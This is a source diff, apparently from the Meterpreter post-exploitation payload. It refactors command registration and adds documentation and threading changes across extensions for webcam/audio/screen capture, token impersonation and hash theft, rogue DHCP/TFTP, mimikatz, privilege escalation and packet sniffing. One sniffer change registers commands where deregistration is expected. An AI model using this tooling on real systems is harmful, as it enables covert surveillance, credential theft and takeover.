VOID list_destroy( LIST * list );
|
||||
|
||||
DWORD list_count( LIST * list );
|
||||
|
||||
LPVOID list_get( LIST * list, DWORD index );
|
||||
|
||||
BOOL list_add( LIST * list, LPVOID data );
|
||||
|
||||
BOOL list_remove( LIST * list, LPVOID data );
|
||||
|
||||
BOOL list_delete( LIST * list, DWORD index );
|
||||
|
||||
BOOL list_push( LIST * list, LPVOID data );
|
||||
|
||||
LPVOID list_pop( LIST * list );
|
||||
|
||||
LPVOID list_shift( LIST * list );
|
||||
|
||||
/*****************************************************************************************/
|
||||
LIST * list_create(VOID);
|
||||
VOID list_destroy(LIST * list);
|
||||
DWORD list_count(LIST * list);
|
||||
LPVOID list_get(LIST * list, DWORD index);
|
||||
BOOL list_add(LIST * list, LPVOID data);
|
||||
BOOL list_remove(LIST * list, LPVOID data);
|
||||
BOOL list_delete(LIST * list, DWORD index);
|
||||
BOOL list_push(LIST * list, LPVOID data);
|
||||
LPVOID list_pop(LIST * list);
|
||||
LPVOID list_shift(LIST * list);
|
||||
|
||||
#endif
|
@ -1,18 +1,26 @@
|
||||
/*!
|
||||
* @file remote.c
|
||||
* @brief Definitions of functions and types that interact with a remote endpoint.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* Instantiate a remote context from a file descriptor
|
||||
/*!
|
||||
* @brief Instantiate a remote context from a file descriptor.
|
||||
* @details This function takes a file descriptor and wraps it in \c Remote
|
||||
* context which makes it easier to interact with the endpoint.
|
||||
* @param fd File descriptor for the socket that needs to be wrapped.
|
||||
* @returns Pointer to the created \c Remote instance.
|
||||
* @retval NULL Indicates a memory allocation failure or a lock creation failure.
|
||||
* @retval Non-NULL Successful creation of the context.
|
||||
*/
|
||||
Remote *remote_allocate(SOCKET fd)
|
||||
{
|
||||
Remote *remote = NULL;
|
||||
|
||||
// Allocate the remote context
|
||||
if ((remote = (Remote *)malloc(sizeof(Remote))))
|
||||
{
|
||||
memset(remote, 0, sizeof(Remote));
|
||||
|
||||
// Set the file descriptor
|
||||
remote->fd = fd;
|
||||
|
||||
remote->lock = lock_create();
|
||||
@ -30,19 +38,26 @@ Remote *remote_allocate(SOCKET fd)
|
||||
return remote;
|
||||
}
|
||||
|
||||
/*
|
||||
* Deallocate a remote context
|
||||
/*!
|
||||
* @brief Deallocate a remote context.
|
||||
* @param remote Pointer to the \c Remote instance to deallocate.
|
||||
*/
|
||||
VOID remote_deallocate( Remote * remote )
|
||||
VOID remote_deallocate(Remote * remote)
|
||||
{
|
||||
if( remote->fd )
|
||||
closesocket( remote->fd );
|
||||
|
||||
if( remote->lock )
|
||||
lock_destroy( remote->lock );
|
||||
if (remote->fd)
|
||||
{
|
||||
closesocket(remote->fd);
|
||||
}
|
||||
|
||||
if ( remote->uri )
|
||||
free( remote->uri);
|
||||
if (remote->lock)
|
||||
{
|
||||
lock_destroy(remote->lock);
|
||||
}
|
||||
|
||||
if (remote->uri)
|
||||
{
|
||||
free(remote->uri);
|
||||
}
|
||||
|
||||
// Wipe our structure from memory
|
||||
memset(remote, 0, sizeof(Remote));
|
||||
@ -50,24 +65,35 @@ VOID remote_deallocate( Remote * remote )
|
||||
free(remote);
|
||||
}
|
||||
|
||||
/*
|
||||
* Override a previously set file descriptor
|
||||
/*!
|
||||
* @brief Override a previously set file descriptor.
|
||||
* @param remote Pointer to the existing \c Remote instance.
|
||||
* @param fd The new file descriptor to use for the \c Remote instance.
|
||||
*/
|
||||
VOID remote_set_fd(Remote *remote, SOCKET fd)
|
||||
{
|
||||
remote->fd = fd;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the remote context's file descriptor
|
||||
/*!
|
||||
* @brief Get the remote context's file descriptor.
|
||||
* @param remote Pointer to the \c Remote instance to get the file descriptor from.
|
||||
* @returns The associated file descriptor.
|
||||
*/
|
||||
SOCKET remote_get_fd(Remote *remote)
|
||||
{
|
||||
return remote->fd;
|
||||
}
|
||||
|
||||
/*
|
||||
* Initializes a given cipher as instructed to by the remote endpoint
|
||||
/*!
|
||||
* @brief Initializes a given cipher as instructed by the remote endpoint.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param cipher Name of the cipher to use.
|
||||
* @param initializer Pointer to the received \c Packet instance.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The cipher was set correctly.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Memory allocation failed.
|
||||
* @retval ERROR_NOT_FOUND An invalid value was specified for \c cipher.
|
||||
*/
|
||||
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
|
||||
{
|
||||
@ -92,15 +118,21 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
|
||||
|
||||
// Populate handlers according to what cipher was selected
|
||||
if (!strcmp(cipher, "xor"))
|
||||
{
|
||||
res = xor_populate_handlers(remote->crypto);
|
||||
}
|
||||
else
|
||||
{
|
||||
res = ERROR_NOT_FOUND;
|
||||
}
|
||||
|
||||
// If we got a context and it wants to process the request, do it.
|
||||
if ((res == ERROR_SUCCESS) &&
|
||||
(remote->crypto->handlers.process_negotiate_request))
|
||||
(remote->crypto->handlers.process_negotiate_request))
|
||||
{
|
||||
res = remote->crypto->handlers.process_negotiate_request(
|
||||
remote->crypto, initializer);
|
||||
remote->crypto, initializer);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -108,7 +140,9 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
|
||||
if (res != ERROR_SUCCESS)
|
||||
{
|
||||
if (remote->crypto)
|
||||
{
|
||||
free(remote->crypto);
|
||||
}
|
||||
|
||||
remote->crypto = NULL;
|
||||
}
|
||||
@ -116,8 +150,10 @@ DWORD remote_set_cipher(Remote *remote, LPCSTR cipher, Packet *initializer)
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a pointer to the remote endpoint's crypto context
|
||||
/*!
|
||||
* @brief Gets a pointer to the remote endpoint's crypto context.
|
||||
* @param remote The \c Remote instance to get the crypto context from.
|
||||
* @returns A pointer to the crypto context.
|
||||
*/
|
||||
CryptoContext *remote_get_cipher(Remote *remote)
|
||||
{
|
||||
|
@ -1,3 +1,7 @@
|
||||
/*!
|
||||
* @file remote.h
|
||||
* @brief Declarations of functions and types that interact with a remote endpoint.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_REMOTE_H
|
||||
#define _METERPRETER_LIB_REMOTE_H
|
||||
|
||||
@ -6,40 +10,44 @@
|
||||
|
||||
/*!
|
||||
* @brief Remote context allocation.
|
||||
*
|
||||
* Wraps the initialized file descriptor for extension purposes.
|
||||
* @details Wraps the initialized file descriptor for extension purposes.
|
||||
* A \c Remote is effectively a pointer to a remote client context
|
||||
* which contains magic pixie dust that identifies the connection
|
||||
* along with a way to interact with it.
|
||||
* @remark The `Original` and `Current` members are used to allow for
|
||||
* functionality such as `rev2self` and reverting back to the initial
|
||||
* desktop stations/desktops.
|
||||
*/
|
||||
typedef struct _Remote
|
||||
{
|
||||
HMODULE hMetSrv;
|
||||
SOCKET fd;
|
||||
CryptoContext *crypto;
|
||||
SSL_METHOD *meth;
|
||||
SSL_CTX *ctx;
|
||||
SSL *ssl;
|
||||
LOCK * lock; // lock must be acquired before doing any OpenSSL related action.
|
||||
HANDLE hServerThread;
|
||||
HANDLE hServerToken;
|
||||
HANDLE hThreadToken;
|
||||
HMODULE hMetSrv; ///< Reference to the Meterpreter server instance.
|
||||
SOCKET fd; ///< Remote socket file descriptor.
|
||||
CryptoContext *crypto; ///< Cryptographic context associated with the connection.
|
||||
SSL_METHOD *meth; ///< The current SSL method in use.
|
||||
SSL_CTX *ctx; ///< SSL-specific context information.
|
||||
SSL *ssl; ///< Pointer to the SSL detail/version/etc.
|
||||
LOCK * lock; ///< OpenSSL usage lock.
|
||||
HANDLE hServerThread; ///< Handle to the current server thread.
|
||||
HANDLE hServerToken; ///< Handle to the current server security token.
|
||||
HANDLE hThreadToken; ///< Handle to the current thread security token.
|
||||
|
||||
DWORD dwOrigSessionId;
|
||||
DWORD dwCurrentSessionId;
|
||||
char * cpOrigStationName;
|
||||
char * cpCurrentStationName;
|
||||
char * cpOrigDesktopName;
|
||||
char * cpCurrentDesktopName;
|
||||
|
||||
DWORD transport;
|
||||
char *url;
|
||||
char *uri;
|
||||
HANDLE hInternet;
|
||||
HANDLE hConnection;
|
||||
DWORD dwOrigSessionId; ///< ID of the original Meterpreter session.
|
||||
DWORD dwCurrentSessionId; ///< ID of the currently active session.
|
||||
char * cpOrigStationName; ///< Original station name.
|
||||
char * cpCurrentStationName; ///< Name of the current station.
|
||||
char * cpOrigDesktopName; ///< Original desktop name.
|
||||
char * cpCurrentDesktopName; ///< Name of the current desktop.
|
||||
|
||||
int expiration_time;
|
||||
int start_time;
|
||||
int comm_last_packet;
|
||||
int comm_timeout;
|
||||
DWORD transport; ///< Indicator of the transport in use for this session.
|
||||
char *url; ///< Full URL in use during HTTP or HTTPS transport use.
|
||||
char *uri; ///< URI endpoint in use during HTTP or HTTPS transport use.
|
||||
HANDLE hInternet; ///< Handle to the internet module for use with HTTP and HTTPS.
|
||||
HANDLE hConnection; ///< Handle to the HTTP or HTTPS connection.
|
||||
|
||||
int expiration_time; ///< Unix timestamp for when the server should shut down.
|
||||
int start_time; ///< Unix timestamp representing the session startup time.
|
||||
int comm_last_packet; ///< Unix timestamp of the last packet received.
|
||||
int comm_timeout; ///< Unix timestamp for when to shutdown due to comms timeout.
|
||||
} Remote;
|
||||
|
||||
Remote *remote_allocate(SOCKET fd);
|
||||
@ -48,8 +56,8 @@ VOID remote_deallocate(Remote *remote);
|
||||
VOID remote_set_fd(Remote *remote, SOCKET fd);
|
||||
SOCKET remote_get_fd(Remote *remote);
|
||||
|
||||
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher,
|
||||
struct _Packet *initializer);
|
||||
DWORD remote_set_cipher(Remote *remote, LPCSTR cipher,
|
||||
struct _Packet *initializer);
|
||||
CryptoContext *remote_get_cipher(Remote *remote);
|
||||
|
||||
#endif
|
||||
|
@ -4,12 +4,20 @@
|
||||
#include "linkage.h"
|
||||
#include "remote.h"
|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID context);
|
||||
typedef enum
|
||||
{
|
||||
Pause = 1,
|
||||
Resume = 2,
|
||||
Stop = 3
|
||||
} SchedularSignal;
|
||||
|
||||
typedef DWORD (*WaitableNotifyRoutine)(Remote *remote, LPVOID entryContext, LPVOID threadContext);
|
||||
typedef DWORD (*WaitableDestroyRoutine)(HANDLE waitable, LPVOID entryContext, LPVOID threadContext);
|
||||
|
||||
LINKAGE DWORD scheduler_initialize( Remote * remote );
|
||||
LINKAGE DWORD scheduler_destroy( VOID );
|
||||
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine );
|
||||
LINKAGE DWORD scheduler_remove_waitable( HANDLE waitable );
|
||||
LINKAGE DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy );
|
||||
LINKAGE DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal );
|
||||
LINKAGE DWORD THREADCALL scheduler_waitable_thread( THREAD * thread );
|
||||
|
||||
#endif
|
||||
|
@ -137,8 +137,11 @@ BOOL event_signal( EVENT * event )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( SetEvent( event->handle ) == 0 )
|
||||
dprintf( "Signalling 0x%x", event->handle );
|
||||
if( SetEvent( event->handle ) == 0 ) {
|
||||
dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
|
||||
return FALSE;
|
||||
}
|
||||
#else
|
||||
event->handle = (HANDLE)1;
|
||||
__futex_wake(&(event->handle), 1);
|
||||
@ -153,21 +156,26 @@ BOOL event_signal( EVENT * event )
|
||||
*/
|
||||
BOOL event_poll( EVENT * event, DWORD timeout )
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
#else
|
||||
BOOL result = FALSE;
|
||||
|
||||
// DWORD WINAPI WaitForSingleObject(
|
||||
// __in HANDLE hHandle,
|
||||
// __in DWORD dwMilliseconds
|
||||
// );
|
||||
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
|
||||
|
||||
if( event == NULL )
|
||||
return FALSE;
|
||||
|
||||
if(timeout) {
|
||||
struct timespec ts;
|
||||
|
||||
@ -188,7 +196,12 @@ BOOL event_poll( EVENT * event, DWORD timeout )
|
||||
__futex_wait(&(event->handle), 0, &ts);
|
||||
}
|
||||
|
||||
return event->handle ? TRUE : FALSE;
|
||||
// We should behave like an auto-reset event
|
||||
result = event->handle ? TRUE : FALSE;
|
||||
if( result )
|
||||
event->handle = (HANDLE)0;
|
||||
|
||||
return result;
|
||||
#endif
|
||||
}
|
||||
|
||||
@ -321,7 +334,7 @@ void *__paused_thread(void *req)
|
||||
/*
|
||||
* Create a new thread in a suspended state.
|
||||
*/
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 )
|
||||
{
|
||||
THREAD * thread = NULL;
|
||||
|
||||
@ -344,6 +357,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
|
||||
|
||||
thread->parameter1 = param1;
|
||||
thread->parameter2 = param2;
|
||||
thread->parameter3 = param3;
|
||||
|
||||
#ifdef _WIN32
|
||||
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );
|
||||
|
@ -60,6 +60,7 @@ typedef struct _THREAD
|
||||
EVENT * sigterm;
|
||||
LPVOID parameter1;
|
||||
LPVOID parameter2;
|
||||
LPVOID parameter3;
|
||||
#ifndef _WIN32
|
||||
void *suspend_thread_data;
|
||||
pthread_t pid;
|
||||
@ -99,7 +100,7 @@ BOOL event_poll( EVENT * event, DWORD timeout );
|
||||
|
||||
THREAD * thread_open( VOID );
|
||||
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 );
|
||||
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
|
||||
|
||||
BOOL thread_run( THREAD * thread );
|
||||
|
||||
|
@ -22,29 +22,10 @@ EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
// Video
|
||||
{ "espia_video_get_dev_image",
|
||||
{ request_video_get_dev_image, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Audio
|
||||
{ "espia_audio_get_dev_audio",
|
||||
{ request_audio_get_dev_audio, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Screen
|
||||
{ "espia_image_get_dev_screen",
|
||||
{ request_image_get_dev_screen, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
|
||||
COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
|
||||
COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -56,13 +37,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -72,12 +47,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -181,47 +181,13 @@ cleanup:
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
// List tokens
|
||||
{ "incognito_list_tokens",
|
||||
{ request_incognito_list_tokens, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Impersonate token
|
||||
{ "incognito_impersonate_token",
|
||||
{ request_incognito_impersonate_token, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Add user to host
|
||||
{ "incognito_add_user",
|
||||
{ request_incognito_add_user, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Add user to group
|
||||
{ "incognito_add_group_user",
|
||||
{ request_incognito_add_group_user, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Add user to local group
|
||||
{ "incognito_add_localgroup_user",
|
||||
{ request_incognito_add_localgroup_user, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Snarf token hashes
|
||||
{ "incognito_snarf_hashes",
|
||||
{ request_incognito_snarf_hashes, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "incognito_list_tokens", request_incognito_list_tokens ),
|
||||
COMMAND_REQ( "incognito_impersonate_token", request_incognito_impersonate_token ),
|
||||
COMMAND_REQ( "incognito_add_user", request_incognito_add_user ),
|
||||
COMMAND_REQ( "incognito_add_group_user", request_incognito_add_group_user ),
|
||||
COMMAND_REQ( "incognito_add_localgroup_user", request_incognito_add_localgroup_user ),
|
||||
COMMAND_REQ( "incognito_snarf_hashes", request_incognito_snarf_hashes ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -233,13 +199,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -249,12 +209,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -142,65 +142,16 @@ DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet){
|
||||
}
|
||||
Command customCommands[] =
|
||||
{
|
||||
// Launch DHCP server
|
||||
{ "lanattacks_start_dhcp",
|
||||
{ request_lanattacks_start_dhcp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Reset DHCP
|
||||
{ "lanattacks_reset_dhcp",
|
||||
{ request_lanattacks_reset_dhcp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Set DHCP Option
|
||||
{ "lanattacks_set_dhcp_option",
|
||||
{ request_lanattacks_set_dhcp_option, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Stop DHCP
|
||||
{ "lanattacks_stop_dhcp",
|
||||
{ request_lanattacks_stop_dhcp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Get DHCP Log
|
||||
{ "lanattacks_dhcp_log",
|
||||
{ request_lanattacks_dhcp_log, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Launch TFTP server
|
||||
{ "lanattacks_start_tftp",
|
||||
{ request_lanattacks_start_tftp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Reset TFTP
|
||||
{ "lanattacks_reset_tftp",
|
||||
{ request_lanattacks_stop_tftp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Add TFTP file
|
||||
{ "lanattacks_add_tftp_file",
|
||||
{ request_lanattacks_add_tftp_file, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Stop TFTP
|
||||
{ "lanattacks_stop_tftp",
|
||||
{ request_lanattacks_stop_tftp, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "lanattacks_start_dhcp", request_lanattacks_start_dhcp ),
|
||||
COMMAND_REQ( "lanattacks_reset_dhcp", request_lanattacks_reset_dhcp ),
|
||||
COMMAND_REQ( "lanattacks_set_dhcp_option", request_lanattacks_set_dhcp_option ),
|
||||
COMMAND_REQ( "lanattacks_stop_dhcp", request_lanattacks_stop_dhcp ),
|
||||
COMMAND_REQ( "lanattacks_dhcp_log", request_lanattacks_dhcp_log ),
|
||||
COMMAND_REQ( "lanattacks_start_tftp", request_lanattacks_start_tftp ),
|
||||
COMMAND_REQ( "lanattacks_reset_tftp", request_lanattacks_stop_tftp ),
|
||||
COMMAND_REQ( "lanattacks_add_tftp_file", request_lanattacks_add_tftp_file ),
|
||||
COMMAND_REQ( "lanattacks_stop_tftp", request_lanattacks_stop_tftp ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -211,13 +162,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote){
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0; customCommands[index].method; index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all( customCommands );
|
||||
|
||||
dhcpserver = createDHCPServer();
|
||||
tftpserver = createTFTPServer();
|
||||
@ -235,15 +180,13 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
|
||||
destroyDHCPServer(dhcpserver);
|
||||
dhcpserver = NULL;
|
||||
destroyTFTPServer(tftpserver);
|
||||
tftpserver = NULL;
|
||||
|
||||
destroyDHCPServer(dhcpserver);
|
||||
dhcpserver = NULL;
|
||||
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -88,15 +88,8 @@ DWORD request_custom_command(Remote *remote, Packet *packet)
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "mimikatz_custom_command",
|
||||
{ request_custom_command, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -108,10 +101,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_register(&customCommands[index]);
|
||||
command_register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -121,12 +111,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -324,7 +324,7 @@ DWORD request_networkpug_start(Remote *remote, Packet *packet)
|
||||
np->remote = remote;
|
||||
np->pcap = pcap_open_live(interface, MAX_MTU, 1, 1000, errbuf);
|
||||
// xxx, add in filter support
|
||||
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote);
|
||||
np->thread = thread_create((THREADFUNK) networkpug_thread, np, remote, NULL);
|
||||
|
||||
chops.native.context = np;
|
||||
chops.native.write = networkpug_channel_write;
|
||||
|
@ -120,7 +120,7 @@ DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )
|
||||
|
||||
_snprintf_s( cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
|
||||
|
||||
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
|
||||
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
|
||||
if( !pThread )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
@ -224,7 +224,7 @@ DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet )
|
||||
if( dwTotal != dwServiceLength )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH );
|
||||
|
||||
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
|
||||
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote, NULL );
|
||||
if( !pThread )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
|
@ -675,7 +675,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
||||
dprintf("filter applied successfully");
|
||||
}
|
||||
|
||||
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL);
|
||||
j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL);
|
||||
if(! j->thread) {
|
||||
pcap_close(j->pcap);
|
||||
break;
|
||||
@ -1123,12 +1123,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
#endif
|
||||
|
||||
dprintf("[SERVER] Registering command handlers...");
|
||||
for (index = 0; customCommands[index].method; index++) {
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all( customCommands );
|
||||
|
||||
dprintf("[SERVER] Memory reset of open_captures...");
|
||||
memset(open_captures, 0, sizeof(open_captures));
|
||||
@ -1193,12 +1188,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_register_all( customCommands );
|
||||
|
||||
#ifdef _WIN32
|
||||
MgrDestroy(hMgr);
|
||||
|
@ -133,12 +133,18 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
|
||||
// when using newer structs.
|
||||
IP_ADAPTER_PREFIX_XP *pPrefix = NULL;
|
||||
|
||||
// We can't rely on the `Length` parameter of the IP_ADAPTER_PREFIX_XP struct
|
||||
// to tell us if we're on Vista or not because it always comes out at 48 bytes
|
||||
// so we have to check the version manually.
|
||||
OSVERSIONINFOEX v;
|
||||
|
||||
do
|
||||
{
|
||||
gaa = (DWORD (WINAPI *)(DWORD,DWORD,void*,void*,void*))GetProcAddress(
|
||||
GetModuleHandle("iphlpapi"), "GetAdaptersAddresses"
|
||||
);
|
||||
if (!gaa) {
|
||||
dprintf( "[INTERFACE] No 'GetAdaptersAddresses'. Falling back on get_interfaces_windows_mib" );
|
||||
result = get_interfaces_windows_mib(remote, response);
|
||||
break;
|
||||
}
|
||||
